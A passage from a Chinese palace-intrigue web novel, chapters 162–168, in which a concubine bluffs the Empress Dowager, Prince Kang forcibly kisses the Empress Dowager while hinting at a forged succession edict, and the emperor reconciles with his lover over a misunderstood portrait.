堂内已熏了檀香,烟气细细地盘旋。太后端坐在上首的紫檀木圈椅里,一身深青色织金凤纹常服,发髻梳得纹丝不乱,只簪一支九凤衔珠步摇,通身的威仪便压得人透不过气。身侧侍立着的沁芳姑姑眼观鼻鼻观心,像一尊沉默的玉雕。 柳千茉忙垂首趋步上前,在堂中央屈膝行礼:“臣妾参见太后娘娘,娘娘万福金安。” 声音细细的,带着恰到好处的怯懦。 太后眼皮微抬,目光在她身上停了片刻,方淡淡道:“平身罢。你有身孕,不必多礼。”说着,朝沁芳瞥了一眼,“柳美人怀着龙嗣,赐座。” “是。”沁芳应声,立刻有小太监搬来铺了软垫的圈椅。沁芳亲自上前,虚虚扶了柳千茉一把:“美人仔细些。” 柳千茉心中绷紧——这沁芳是太后心腹,眼力最毒。她不敢大意,学着教习嬷嬷教的孕中体态,一手小心扶着腰,另一手搭在扶手上,缓缓坐下,过程中还刻意顿了一顿,仿佛身子沉重,行动吃力。 坐下后,她微微喘了口气,抬起眼,正好撞上太后审视的目光。 太后视线落在她隆起的腹部,停了停,问道:“几个月了?” “回禀娘娘,”柳千茉垂下眼睫,声音放得更柔,“七个多月了。” “嗯。”太后不置可否地应了一声,端起手边的粉彩盖碗,用杯盖轻轻撇着浮沫,“你有功了。这是皇帝第一个孩子,哀家原本说,该将你养在长乐宫,时刻着人照料才是。”她顿了顿,语气里听不出喜怒,“偏皇帝不许。” 柳千茉心头一跳,细声细气地回话:“多谢娘娘厚爱。是臣妾自己不争气,身子骨弱,前些日子胎像不稳。行宫有温泉,太医说最宜将养,陛下这才让臣妾来此静养。如今……才总算把龙胎坐稳了。”她说着,手下意识抚上腹部,指尖却在衣料下微微发抖。 太后扫了眼她的面容,忽而道:“哀家看你气色倒好,人也丰腴了些。” 这话说得平淡,柳千茉却觉后背陡然窜起一股寒意。她脸上适时地飞起红晕,带着赧然解释道:“是臣妾嘴馋……孕中胃口大开,总忍不住多吃。太医前儿还叮嘱,让臣妾克制些,说若是再这般吃下去,胎儿过大,怕是……怕是生产时艰难。” 她说得恳切,眼中甚至泛起些许不安的水光。太后是未生育过的,对孕产之事并不熟悉,闻言只淡淡“唔”了一声,果然不再追问,目光转向门外明媚的春光。 “哀家今日来别院小歇,听说皇帝也来了行宫。”太后放下茶盏,瓷底碰在紫檀桌面上,发出清脆一声响,“怎么不来给哀家请安?” 第163章 庚申年旧事 柳千茉的心骤然提到了嗓子眼。她强迫自己镇定,声音依旧细软:“陛下……陛下这几日为朝政操劳,着实累了。方才来行宫,问了臣妾几句话,便说要去后头书房小憩片刻,嘱咐莫让人打扰。此刻怕是正熟睡着。”她抬起眼,小心翼翼地看着太后,“要不……臣妾让人去请陛下?” 她赌太后对皇帝一向关爱,必舍不得让人叫醒他。 果然,太后眉头几不可察地蹙了蹙,随即摇头:“罢了。这阵子他也的确辛苦,让他睡罢。” 柳千茉刚暗自松了口气,却听太后又道:“哀家左右无事。记得这行宫花园景致不错,你去歇着吧,哀家去转转。”说着已站起身来,“等皇帝醒了,命人来报与哀家。” “是,臣妾恭送娘娘。”柳千茉忙起身行礼,腰弯得恰到好处。 太后不再多言,扶着沁芳的手往外走去。一行人簇拥着那深青色的身影,很快消失在廊庑尽头。 待人走远了,柳千茉才缓缓直起身。堂内静下来,只剩她一个人的呼吸声,又急又轻。慧慧上前搀她,触手一片冰凉。 柳千茉慢慢坐回椅中,指尖紧紧攥着袖口,指节捏得发白。 皇帝此刻根本不在行宫。太后等久了不见皇帝醒来,若派人去请,岂不是戳破了谎言。 柳千茉竭力压下心头惊惶,一把攥住慧慧的手腕,将她拉近,附耳低语,气息急促却字字清晰:“你快去找林良,让他速速去禀告敖大人。他们手眼通天,此刻必有法子周全。” 慧慧脸色煞白,连连点头,提着裙角碎步奔了出去。 行宫花园,此刻却是另一番光景。 春光正好,几株垂柳新绿,柔枝拂过池面,漾开细细的涟漪,两只白鹭在池边嬉戏,时而交颈亲昵。太后独自坐在廊下,目光虚虚落在水光花影之间。此处景致,她并不陌生。 十数年前,她还是个刚及笄的少女,眉眼间尚存着未褪的天真。那时身为皇后的姑姑在行宫养病,接她来作伴。她记得自己曾在这条游廊上追过蝴蝶,欢笑声惊得池边白鹭飞起。姑姑倚在榻上看着她,眼神温柔又怜悯,那时她不懂那怜悯从何而来。 后来她懂了。姑姑病逝不到一年,先帝便下旨,聘她为继后。满城都说宋家荣宠不衰,唯有她自己知道,那顶凤冠有多重——她要嫁的,是大了她三十岁、缠绵病榻的姑父。洞房夜,红烛高烧,她看着榻上形容枯槁的帝王,胃里一阵阵翻涌,却还得扬起最端庄得体的笑容。 十几年过去,少女明媚的笑靥早已被岁月磨成一面光可鉴人的铜镜,只照得出太后应有的威仪与冷淡。时光赐予她无上尊荣,也悄无声息地带走了她曾拥有或幻想过的一切:寻常人家的夫妻恩爱,为人母亲的喜悦,甚至只是一场夫妻携手的春日踏青。 太后静静坐着,连呼吸都轻得几乎听不见。风穿过廊柱,带来远处隐约的丝竹声——大约是行宫乐伎在练习。那声音飘飘忽忽,更衬得此间寂寥。 沁芳侍立在侧,将太后侧脸那抹极淡的落寞看得分明,心中不由得一阵酸楚。没有人比她更清楚太后的苦。 十七岁入宫,二十五岁守寡,如今看似母仪天下,实则深宫冷寂,漫漫长夜,只有更漏声相伴。 一个女人坐到了权力的顶峰,却连一份真切的情意都是奢求。所以当察觉太后心中那点隐秘的悸动时,沁芳最初的惊骇过后,竟生出几分不合时宜的激动与怜惜——凭什么不能呢?难道只因她是太后,便连动心的资格都没有了么?她连成为一个真正的女人都不能吗? 正思量间,游廊尽头忽然响起急促的脚步声。一个小宫女气喘吁吁地跑来,在阶下跪倒:“启禀娘娘,康王殿下……路过行宫,听闻娘娘在此,特来请安。” “康王”二字入耳,太后搭在膝上的手一动。 姜昕的心思,她岂会不知?从前尚是先帝嫔妃时,他便时常借着请安的由头在宫中“偶遇”,眼神里的炽热藏不住,也根本不想藏。她早已用最直白的疏远和冷淡告知了他:绝无可能。 可上次宫宴那晚,他借着酒意靠近,跟她说的那些话,那语气里的执念与不甘,让她脊背生寒。他竟还未放弃那些荒唐念头。 “说哀家身子乏了,不想见人。”太后声音冷淡,斩钉截铁,“让他走。” 小宫女瑟缩了一下,却不敢动,嗫嚅道:“康王殿下说,有要事禀告,是庚申年旧事,说娘娘听了一定会见他。” “庚申年旧事”几字入耳,太后搭在扶手上的指尖倏然收紧。 庚申年——那是先帝驾崩之年,也是姜玄登基之年。那一年宫变暗涌、新旧交替,多少秘密被埋进了皇陵的尘土里。姜昕忽然提起这个年份,究竟想说什么? 她原本打定主意不见,可“庚申年”像一把钥匙,猝不及防地撬开了记忆深处某扇尘封的门。一些模糊的片段闪过脑海,她也不知道那时候是不是所有的事情都是万无一失。 罢了。太后心中权衡一瞬——此处是行宫,光天化日,侍从环绕,连他也不敢有什么逾矩之举。听听他说什么也无妨。 “让他过来吧。”她松开指尖,语气恢复了平日的冷淡。 侍女如蒙大赦,连忙退下传话。 不多时,游廊尽头传来稳健的脚步声。姜昕转过海棠掩映的月洞门,远远便抬手止住了身后随从,独自一人朝水榭走来。 他今日着宝蓝色暗云纹锦袍,玉冠束发,春日阳光落在他肩头,将人衬得愈发挺拔轩昂。他与太后同庚,正是男子最风华正茂的年纪,步履生风间自有一股天然的威仪,连廊下侍立的宫人都忍不住屏息注目。 此刻姜昀眉眼舒展,笑意朗朗如春阳破云,举手投足间尽显洒脱不羁。高挺的鼻梁与微薄的唇皆承先帝风骨,却又因母妃的清绝骨相添了几分温润如玉的贵气。春光里他踏花而来的身影,连太后都恍惚了一刹。 第164章 有话快说 “儿臣请母后安。”姜昕行至阶下,端端正正行了礼,笑容温煦,挑不出半点错处。 太后指了指身旁的圈椅:“坐罢。你怎么也来了这里?” 姜昕撩袍落座,动作流畅自然:“今日春光正好,恰逢休沐,便与从前几位故交出城踏青。路过漱玉山房时瞧见您的鸾驾,儿臣便想着过来请安。谁知到了山房才知您移驾行宫,这又巴巴地赶过来——” 他抬眼一笑,眸中映着池水潋滟的光,“可见儿臣一片孝心。” 太后瞥他一眼,语气听不出喜怒:“是吗?哀家这几个儿子里,就数你最‘孝顺’。” 这话里带着刺,姜昕却恍若未觉,只含笑望着她,声音压低了些:“应该的。儿臣将母后放在心上,自然便想着多孝顺些。” 行宫毕竟不比深宫高墙,四下开阔,春风拂面,连带着气氛也松散了几分。姜昕的言辞举止,似乎比在宫里时更少顾忌,多了几分近乎狎昵的随意。太后不由蹙眉瞪了他一眼,目光里含着警告。 谁知姜昕不以为忤,反倒笑得更开怀了些,眼角眉梢都舒展开,露出一口白牙。那笑容太过明亮坦荡,竟让太后一时怔住——她似乎从未见过姜玄这样笑过。 太后别开眼,不再看姜昕那张过于明亮的笑脸,只望着池中悠悠游过的白鹭,淡淡道:“你方才说有旧事要说,是什么事?” 姜昕敛了笑意,声音压低道:“此事干系重大,儿臣只敢与母后一人说。” 太后想起上回宫宴,他也是这般遣开沁芳,而后说的那些荒唐言语,心中厌烦顿生,冷哼一声:“不想说便告退罢。哀家没闲工夫听你卖关子。” 姜昕却不慌不忙,身子微微前倾,吐出三个字: “赵茂才。” 太后心头猛地一紧,她倏然转头看向姜昕,眼底是毫不掩饰的凌厉。 赵茂才是先帝最信任的近身太监,掌管内廷印玺数十年,所有圣旨敕命,都需经他之手用印。先帝驾崩后不足一月,这位忠仆便因怀念先帝悲伤过度引发旧疾而亡。太后当时亲自下旨厚葬,赏其家族金银田宅,做足了体面。 如今姜昕骤然提起这个名字,想做什么? 姜昕迎着她的目光,不退不让。 太后侧目看了一眼侍立在不远处的沁芳,声音冷硬:“退下。带人走远些,哀家有事与康王说。” 沁芳低头应道:“是。”她转身,手势利落,周遭侍立的宫女侍卫悄无声息地后退,一直退到数十丈外的月洞门外,垂首静立,确保绝听不见园中任何声响。 直到园中只剩他们二人,太后才冷冷开口:“赵茂才怎么了?一个忠仆,该赏的哀家都赏了。难道赵家还嫌不够,求到你那里去了?” 姜昕却不答。他站起身,缓步踱到水边一丛海棠树旁,伸手折了一枝满是胭脂色花苞的枝条,拿在手中细细端详,忽而轻叹一声:“儿臣早就想赠母后一枝花了。可惜,每次都不是时候。” 太后蹙眉,没接话。姜昕这人总是这般,时而正经得可怕,时而又轻狂得让人无从招架。她摸不透他下一句会说什么。 姜昕回头,见太后依旧端坐如山,不由挑眉一笑:“娘娘与我同庚,生辰还在我之后,正是年轻时候,何必总穿这般老气横秋的颜色?”他扬手指向池心,“春日正该鲜活些。您看,那池中水鸟,穿得都比您鲜艳。” 太后冷冷道:“有话快说,别扯这些。” 姜昕道:“你过来看看,你看了我就说。” 太后静默片刻,见姜昕站在那里不动,知道这人难缠,只得站起来走到他旁边,透过枝条看到池里除了一对白鹭,还有一对鸳鸯,那鸳鸯果然穿着花衣,两只在池中追逐,追上后交颈缠绵。 她猛然醒悟姜昕方才话中的暗指,耳根一热,忍不住又狠狠瞪了他一眼。 姜昕见状,低低笑出声来。他拿着那枝海棠,走到太后身侧,忽然微微低头凑近,抬手伸向太后。 男子温热的气息毫无预兆地扑面而来,太后心中警铃大作,本能地向后疾退一步,厉声斥道:“大胆!你要做什么?” 姜昕的动作顿在半空。他的手虚虚停在太后眼前寸许之处,神情无辜,语气慢条斯理:“娘娘脸上落了根落睫,就在眼睛边上。儿臣只是想替您摘下来,省得一会儿揉进眼里,磨得眼睛疼。” 他说得坦然,目光清澈,倒显得太后方才的戒备有些小题大做。 太后慌忙用指腹在眼周胡乱扫了扫,果然触到一根细软的落睫。她心头微松,正待重整神色追问赵茂才之事,眼前的光线却陡然一暗—— 姜昕已一步欺近身前,近得几乎鼻息相闻。她甚至来不及看清他的动作,双臂便已被他猛然展开的怀抱紧紧箍住! “大——”太后惊怒交加,才吐出一个字,唇上便是一热。 姜昕竟用嘴堵住了她的呵斥。 生平第一次被男子如此轻薄,太后脑中“嗡”的一声,羞愤与暴怒瞬间炸开。她拼命挣扎,双手被他铁钳般的手臂牢牢锁在身侧,动弹不得,便屈起膝盖欲顶,却被姜昕早有防备地侧身避开。混乱中,她抬起脚,用尽全身力气狠狠跺向他的脚背! “唔……”姜昕闷哼一声,额角青筋骤然暴起,痛楚让他呼吸一滞,可箍住她的双臂非但没有松开,反而收得更紧。他趁着她因用力而微微张嘴的瞬间,竟轻轻咬住了她的下唇,喉间滚出压抑的哑声:“我不怕疼……” 他并没有用力,却还是激起了太后骨子里的狠劲。她不再试图挣脱,反而在他又一次凑上来时,用尽全力反咬回去! 这一口毫无保留,利齿瞬间刺破皮肉。姜昕的嘴唇破了,温热的血涌出,沿着两人的唇缝溢出来。 可姜昕却像感觉不到痛楚,呼吸越发急促滚烫,竟将那血腥强硬地渡入她口中。铁锈般的味道充斥口腔,混合着他灼热的气息,形成一种令人眩晕的掠夺。 第165章 你是最狠心之心 太后所有的力气仿佛都随着这一咬泄了出去,挣扎渐弱,终至无力。她像一尊僵冷的玉雕,任由他近乎惩罚地吻着,直到他餍足,才喘息着松开她的唇。 姜昕的嘴唇鲜血淋漓,他却毫不在意,只低头看着怀中面色惨白、嘴唇亦染血痕的女子,哑声道:“狠心的女人……再没有比你更狠心的人了。” 太后胸腔剧烈起伏,狠狠啐了一口,咬牙道:“卑鄙!你只会用蛮力制住我,算什么男人?哀家就当……被野狗咬了!” “野狗?”姜昕脸色骤然一冷,眼底那点方才因亲密而生的迷乱瞬间被寒冰覆盖。他仍旧牢牢控制着她的双手,低头凑到她耳边,气息灼人,一字一句,如冰锥刺骨:“你被我亲一口,能当被狗咬了。那你把原本属于我的皇位拿走……我该拿你怎么办,嗯?” 太后心中狂跳如擂鼓,面上却强撑着冷笑:“胡说八道!当年有先帝明诏,今上即位名正言顺,何来你的皇位?” “是吗?”姜昕松开她一只手,却用拇指重重碾过她染血的唇瓣,目光锐利如刀,直刺她眼底深处,“那诏书……是真的吗?赵茂才,又是怎么死的?” 太后咬牙道:“当然是真的!赵茂才之死早有定论!康王,你是想做皇帝想疯了,才在这里胡言乱语?” “我是疯了。”姜昕重复着这句话,目光紧紧锁着太后,“我不是想做皇帝想疯了,我是……想要你想疯了。” 太后趁着他说话的空隙,猛地挣脱开他的怀抱,踉跄后退两步,抬手用力擦去唇上沾染的血迹,动作带着嫌恶与狠厉。她挺直背脊,试图重新筑起那道威严的屏障。 “姜昕,你不过是因为得不到,才有此病态执念。倘若我当真与你暗通款曲,只怕你早就厌弃了,何须在此惺惺作态,演什么深情不悔的戏码?”她顿了顿,唇边勾起一丝讥诮的弧度,“我这人不信这些虚的,只爱实在的东西——比如,握在手里的权柄。” 姜昕听着,不怒反笑,那笑容里带着一种破罐破摔的邪气:“是吗?那你便让我暗通款曲一回,试试看我会不会厌倦。”他向前逼近一步,“或许试过才知道,你想要的究竟是权柄,还是我。” “你——!”太后气结,胸口因愤怒而剧烈起伏。她深知姜昕此人言语无忌,行事更无忌,自己在这口舌之争上占不到半分便宜。她深吸一口气,强行压下翻腾的情绪,摆出逐客的姿态:“哀家还以为你真有什么惊天秘闻要说,原来不过是癔症发作,在这里胡言乱语。说完了?说完就滚。” “娘娘还是不够了解我。”姜昕停下脚步,不再逼近,只是那目光依旧灼人,“你知道的,我从不无的放矢,更不会拿空口白话来冒险。” 太后心头那根弦绷得更紧,面上却强作镇定:“是吗?那你说说看,你有什么证据?” 姜昕嗤笑一声:“可我了解娘娘你,所以我更不会轻易把底牌亮出来。谁知道……你会不会转头就告诉了姜玄?”他语气陡然一转,带着几分不甘与探寻,“时至今日,我仍旧不懂。当年……你为何舍我而选他?” 这话问得猝不及防,太后微微一怔。 她看着姜昕眼中那抹深沉的、几乎可以称之为痛苦的神色,有那么一刹那,时光仿佛倒流回庚申年的宫墙之下。那时的姜昕,也曾用这样的眼神看过她。 但仅仅一瞬。 太后迅速收敛了所有外露的情绪,面色恢复成一潭深不见底的古井水。她移开目光,望向池中那双不知何时已游远的鸳鸯,声音平静无波: “不是我选的他,”她清晰地吐出每一个字,“是先帝。” 姜昕闻言,他定定地看着太后,眸色深沉翻涌,他张了张嘴,似乎想说什么,千言万语堵在喉头。 太后却没有给他开口的机会。她双手抱臂,以一种防御和驱逐的姿态,冷冷地重复:“你走吧。” 姜昕沉默地站在原地,目光胶着在她挺直却略显孤峭的背影上。良久,他低低开口,声音里难得褪去了方才的狎昵与锋锐,染上些许沙哑:“对不起。今日……是我唐突了。” 太后依旧背对着他,肩背线条绷得笔直,像一尊拒绝融化的冰雕。 “没有十年如一日的‘一时兴起’。”姜昕的声音很轻,却字字清晰,顺着春风飘过来,“总有一天你会明白。反正你总归要做姜家的女人……那做我姜昕的,又如何?” 他顿了顿,声音里掺入一丝不易察觉的诱哄,或是自嘲:“你要权柄,跟了我,一样是一人之下,万人之上……” “沁芳!”太后猛地打断他,声音陡然拔高,带着不容置疑的厉色,“送康王!” 她已疾步退开海棠花丛,重新站回游廊明亮的日光下。 沁芳带着几个宫人小跑着过来。她一眼瞥见康王嘴唇上那道新鲜的、仍在渗血的伤口,心头骇然狂跳,不敢细看深想?她强作镇定,垂首躬身,朝姜昕伸出手臂:“康王殿下,请。” 姜昕深深看了太后一眼。她已别开脸,目光投向远处波光粼粼的池面,侧脸线条冷硬,没有丝毫转圜的余地。他终是没再说什么,抬手随意抹去唇边血渍,转身跟着沁芳离去。 那背影依旧挺拔,却似乎笼上了一层挥之不去的郁色。 太后僵立原地,直到那抹宝蓝色的身影彻底消失在视野尽头,才几不可闻地吐出一口浊气。心头纷乱如麻,屈辱、惊怒、后怕,还有被强行勾起的隐秘波澜,混杂在一起,让她太阳穴突突直跳。 不多时,沁芳悄无声息地返回,垂手侍立在她身侧,大气不敢出。 “皇上醒了吗?”太后忽然开口,声音带着紧绷与烦躁。 沁芳忙道:“婢子方才已派人去前头问了。侍卫长林良说,稍后亲自来回禀娘娘。” 第166章 他可真胆大 春风依旧和暖,可太后只觉得周身发冷。她不由自主地,又瞥了一眼海棠花从。 终于,林良高大的身影出现在游廊入口。他快步上前,抱拳沉声道:“启禀太后娘娘,约莫两刻钟前,皇上便已醒来。听闻娘娘在花园等候,皇上便命臣等不必跟随,独自往花园来了。” 太后的心猛地一沉。 林良继续道:“皇上进入花园后,大约停留了不到一盏茶的功夫,便从原路出来了。随后便命人备车,起驾离开了行宫。” “离开了?”太后豁然转身,盯着林良,“皇上来了花园?哀家为何未曾见到?” 林良垂首,语气平稳无波:“回娘娘,皇上是从小书房那边的北入口进来的。”他抬手指向一片青翠的竹丛,“便是从那里转过来的。” 太后顺着他手指的方向望去,只觉得一股寒意从脚底骤然窜起。 北边入口,与她方才和姜昕纠缠厮闹的地点,仅隔着十数丈的距离,中间错落着几丛开得正盛的迎春花和一座嶙峋的假山。若有人从竹丛后转出,未必能听到她和姜昕的对话,却可以将她与姜昕之间那不堪的一幕尽收眼底。 而她当时,正背对着那片竹林,面对着南边的姜昕,心神俱乱,根本无从察觉背后的动静。 皇帝看到了?他看到了多少?听到了多少? “回宫。”太后平静说道。 太后的銮驾终于驶离行宫正门,林良才敢将紧绷的脊背松了松,掌心早已沁出薄汗。他目送銮驾消失,快步穿过抄手游廊,直奔暖芳阁。 “太后娘娘走了?”柳千茉问道。 “走了,銮驾刚出正门,不知是回了京城还是去了漱玉山房。” 林良躬身回话,悬着的心彻底落地,随即忍不住好奇追问,“娘娘,您怎么知道这么回话,太后娘娘就会走呢?” 柳千茉端起茶盏抿了一口,压下心头的乱绪,语气平静道:“她是太后,是皇上的母后,身份尊贵,最是看重体面。被儿子撞见与藩王在园中私缠,她身为太后的威严何在?这般情景下,自然是急着脱身,不敢再多留。” 林良点头称是:“还是娘娘想得周全!我在墙头蹲了半晌,虽听不清他们具体说什么,但瞧着太后娘娘一开始推搡挣扎,后来竟也软了身子靠在石栏上,莫不是也不是全然不愿意?”他压低声音,语气里带着几分猎奇与揣测。 “啪”的一声,柳千茉将茶盏重重搁在案上,她脸色瞬间沉了下来,眼神冷得像冰:“胡说八道什么!”林良被她突如其来的严厉吓了一跳,连忙躬身噤声。 柳千茉缓了缓语气,却依旧带着不容置喙的警告,“你今日什么都没看见,什么都没听见,赶紧把那些乱七八糟的念头忘了!” 她顿了顿,语气愈发凝重:“今日这事事发突然,你立刻去行宫上下所有人,谁敢多嘴议论一句,立刻杖毙!万不可泄露半点风声,否则这行宫里大家都得小命不保。” “下官知道了!下官这就去吩咐,定让所有人都闭紧嘴巴!”林良心头一凛,不敢再怠慢,连忙应声。见柳千茉神色稍缓,他又补了一句,“娘娘放心,下官早在太后銮驾动身前,就已经派了人快马去给皇上递信了,想必此刻消息已经在路上了。” 柳千茉微微颔首,挥了挥手让他退下。阁楼内重归寂静,她走到窗边,心中也在怀疑,康王为何敢如此行事?他不怕被人知道吗?这可不是小事。 与此同时,距离枫林苑不远的一处隐秘宅院,却透着与行宫截然不同的温情。姜玄正揽着薛嘉言靠在软榻上,锦被半掩,方才缱绻缠绵的余温仍萦绕在彼此周身。 自从戚家被人暗中盯上,姜玄便深知青瓦胡同已非绝对安全,命张鸿宝在京城内外备了好几处隐秘宅院,专供他与薛嘉言相见。 两人数日未见,相思如潮,此刻依偎在一起,连呼吸都带着亲昵。薛嘉言指尖轻轻抚过姜玄的下颌,触到他略显消瘦的轮廓,忍不住叹息一声:“我听说先帝祭祀大典就快开始了,朝中诸事繁杂,你怎么还有时间出来?” 姜玄低头,在她发顶印下一个轻柔的吻,手臂将她搂得更紧,眼底满是温柔:“祭祀的事有礼部与太常寺打理,自有人安排妥当。今日本是来拜访一位长辈,顺道让人把你接出来见一面,好想你。” 他似乎已经习惯了说这样的话,很自然就说出口。 薛嘉言抬手抚着他的脸颊,指腹划过他眼底淡淡的青黑,满心都是疼惜:“你都瘦了,可见这阵子是真的忙坏了。朝中的事再多,也要注意身体,做不完的奏章明日再批就是了,别总熬夜,身子哪里吃得消。” 她认识姜玄两世,深知他勤勉至极每日奏章必亲自批复完毕,绝不肯留到次日,时常熬到深夜,睡两个时辰便起来上早朝,这般操劳,身子怎能不亏。 姜玄捉住她的手,低头在她指尖亲了亲,声音带着几分缱绻后的沙哑:“知道了,都听你的。你怀着身孕,更要好好照顾自己,不许胡思乱想,也不许累着,有什么事都交给我来办。” 两人依偎着说了些闲话,多是薛嘉言叮嘱他注意饮食起居,姜玄耐心听着,偶尔应和几句,内室里满是岁月静好的暖意。片刻后,姜玄想起甘松方才的禀报,指尖轻轻揉了揉她的发顶,轻声问道:“对了,甘松说他派人去接你时,你脸色不大好看,像是有心事。是不是出什么事了?跟我说说,别憋在心里。” 薛嘉言身子微僵,眼底有复杂与难堪。她沉默了片刻,心知姜玄心思缜密,就算自己此刻不说,他派去查探的人也迟早会摸清真相,不如自己亲口说出。 她轻轻叹了口气,语气沉重地开口:“是我父亲……他在外养了外室,那女子还给他生了个儿子,如今已经八岁了。” 第167章 懦夫 姜玄眼底闪过一丝讶异,随即眉头微蹙:“我听说过,你父亲当年为了让你母亲做平妻,闹得礼部与宗人府鸡飞狗跳,甚至不惜顶撞先国公爷,可见当时对你母亲情意深重。既如此,又为何要在外养外室,辜负你母亲的心意?” “从前我也不信,觉得父亲对母亲是真心的。”薛嘉言垂着眼眸,声音里满是失望,“可事实就摆在面前,我的人去查了,父亲每个月都会去那女子住处一到两回,有时候过夜,有时候只是坐半个时辰,却每次都会留下不少银钱,把她们母子的生活安排得妥妥帖帖。母亲这些年操持家事,尽心尽力,却没想到竟被父亲蒙在鼓里这么久。” “那你打算怎么办?想告诉你母亲吗?”姜玄轻声问,轻轻安抚着她的后背。 “我想告诉她。”薛嘉言抬起头,眼神坚定,“我母亲是个坚强能干的人,当年能顶着压力跟父亲来到京城,如今也能坦然面对这一切。我不想她被父亲的谎言蒙蔽一辈子,稀里糊涂地过下去。”她顿了顿,语气愈发迟疑,脸上露出难色,“还有一件事,我也想告诉她,可我没有半点证据,不知道该怎么开口。” 姜玄示意她继续说:“还有什么事?尽管说便是,有无证据都无妨,我来派人查。”他曾命苗菁暗中查过薛嘉言的身世,知道她父亲是个只知玩乐的膏粱子弟,实在想不到这个闲散的富贵子弟,还能藏着什么秘密。 薛嘉言咬了咬唇,似是下定了决心,才低声说道:“我父亲当年根本就没有失忆,他是畏惧战争,不敢承担责任,从战场上做了逃兵。他故意假装失忆,入赘吕家,在江南逍遥了好几年,后来外祖父去世,他便给京城来信,假装恢复记忆,带着我和母亲回京。” “你怎么会知道这些?”姜玄神色一凝,倘若他是薛千良,这样的事,必然瞒得死死的。 “皇上也知道,我梦见过北地大雪纷飞,天寒地冻,那些梦境后来都一一应验了。这件事,也是我在梦里看到的——梦中我母亲去世,父亲跪在她的床前痛哭流涕,忏悔说自己骗了她一辈子,说若是当年没有跟着他来京城,母亲一定不会那么早离世。他还说,他当年从战场上逃出来后,日夜活在愧疚里,却又没有勇气坦白一切,只能一骗再骗。” 姜玄听到薛千良的荒唐行径,语气里添了几分鄙夷与不解:“他堂堂肃国公府大老爷,身份尊贵,前程无忧,竟为了做逃兵,甘愿假装失忆舍弃一切?着实荒唐至极。” 薛嘉言靠在他肩头,声音带着几分怅然:“梦中我爹哭着说,是因为原配高氏性子无趣刻板,整日里不是督促他读书习武,便是念叨着家族责任,比祖母还要唠叨严苛。他对高氏毫无半分情意,只剩厌烦,待在国公府的日子只觉窒息痛苦,压根不想做这个被束缚的大老爷,才会临战脱逃。后来逃到江南,既没脸再回京城面对族人,也不想再被国公府的规矩捆绑,便干脆假装失忆,留在了吕家。” 姜玄嗤笑一声,语气里满是不以为然:“毫无感情?我记得肃国公只比你大两岁,这般算来,你父亲出征前,高氏便已怀有身孕。若真是半分情意都无,为何会与她敦伦?” 薛嘉言闻言一怔,随即眨了眨泛红的眼睛——男子对女子无感情却欢好的,本就不计其数。外头秦楼楚馆里的露水姻缘,哪有什么真心可言?就连眼前的姜玄,他与自己第一次欢好时,难道就有感情了?分明是觉得她与他画像上的心上人有几分相似,才把她当成了替身,那根本不是对她薛嘉言的情意。 从前她深埋心底,连吃醋的资格都不敢有,可这阵子姜玄的温柔呵护,让她渐渐有了底气,再加上孕期心绪本就敏感,委屈与酸涩瞬间涌上心头。她猛地从他怀里挣开,哼了一声,眼眶愈发泛红,带着几分娇嗔与委屈道:“你还好意思说别人?你第一次把我弄进宫,让我陪你的时候,难道就对我有感情了?还不是因为我跟你那画像上的心上人有几分像!可你当时还不是积极得很,一夜都没让我歇着!” 姜玄愣住,不解问道:“你就是我的心上人,我什么时候说过你跟我的心上人相似了?这话从何而来?” 薛嘉言见他还装糊涂,伸手捶了他一下,气道:“还装!我都见过那幅画像了!我跟画上的女子也就一两分相像,论模样气质,她哪里有我好看!” 姜玄越听越糊涂,眉头微蹙,连忙攥住她的手,细声追问:“你在哪见的画像?那画像上的女子是什么模样,你仔细跟我说。” 薛嘉言虽仍有气,却还是一五一十地描述起来:“画中女子穿着杏黄襦裙,站在枫树林里捏着一片枫叶,眉眼瞧着淡淡的……” 听着她的描述,姜玄脸上的困惑渐渐舒展,眼底漫开温柔的笑意,到最后忍不住低笑出声,伸手刮了刮她的鼻尖:“你不觉得那画上的人,本就是你吗?” 薛嘉言瞬间僵住,脸上的怒气戛然而止,脑海中飞速回想那幅画像的细节,忽然福至心灵——她记得自己十六岁那年,曾跟着母亲去京郊的枫林玩,只是当时穿了什么衣裳,她的确不记得了。 薛嘉言张了张嘴,结结巴巴地问道:“可……可我当时根本没见过皇上呀,怎么会是我?” 第168章 梦中梦 姜玄将她重新搂回怀里,声音缱绻道:“当时我站在林子深处的矮坡上,隔着枝叶瞧见了你。你站在枫树下笑的时候,阳光落在你身上,好看得让我移不开眼。我回去后便凭着记忆画了你,只是我画技粗陋,连你半分风采都没画出来,所以你看了画也没认出来。” 薛嘉言彻底呆住了,浑身的力气仿佛都被抽干,靠在他怀里一动不动。 她与姜玄纠葛两世,前世她满心都是对他的误解,觉得他对自己只有利用与替身的敷衍,却从未想过,原来从一开始,他放在心尖上的人,就只有她一个。 心头先是漫过难以言喻的幸福与喜悦,像浸了蜜的温水,可这份喜悦很快便被浓重的委屈取代——前世她那般冷漠待他,动辄冷嘲热讽,从未给过他半分柔情,甚至屡屡因误解而刻意疏远,如今想来,竟是错过了这么多年。 眼泪毫无预兆地涌了出来,薛嘉言紧紧抱着姜玄的腰,脑袋埋在他颈窝,呜呜地哭了起来。 姜玄被她这突如其来的大哭弄得有些手足无措,只能紧紧回抱住她,轻轻拍着她的背,柔声哄道:“哭什么?我心悦你,你不喜欢吗?” 薛嘉言呜咽着,声音含糊不清:“你为何不早说……” “是我不好。”姜玄低头,在她泪痕未干的脸颊上亲了亲,“我从不知道你见过那幅画像,又怕画得太差惹你笑话,便一直藏着没敢说。若是早知道你会误会,我定然第一时间就告诉你,绝不会让你憋在心里这么久。” 薛嘉言哭得更凶了,前世的遗憾与今生的委屈交织在一起,尽数化作泪水宣泄出来。姜玄掏出锦帕,细细替她拭去眼泪,语气带着几分打趣,试图哄她开心:“莫不是嫌我画得太丑,气哭了?你画技好,等我没那么忙了,便让你教我画画,我定好好学,把你所有好看的模样都画下来。” 薛嘉言渐渐止住了哭声,抽噎着抬起头,一双杏眼红肿如桃,她捧着姜玄的脸,轻轻吻上了他的唇。缠绵又温柔的吻,驱散了所有的误解与委屈。 良久,唇瓣才依依不舍地分开。薛嘉言伏在姜玄肩头微微喘息,脸颊绯红,眼中水光潋滟,却再无半分阴霾,只余满心满眼几乎要溢出来的欢喜与依赖。 即便人心易变,真心难测,但此时此刻,他眼中毫不遮掩的爱意与珍视,她真切地感受到了。这份当下的笃定与圆满,足以抚平过往所有的不安与猜疑。 姜玄想到两次听到薛嘉言在梦中痛苦的喊着他的名字,不由心中一沉,问道:“言言,在你梦里,我伤害过你?” 薛嘉言摇摇头:“没有。” 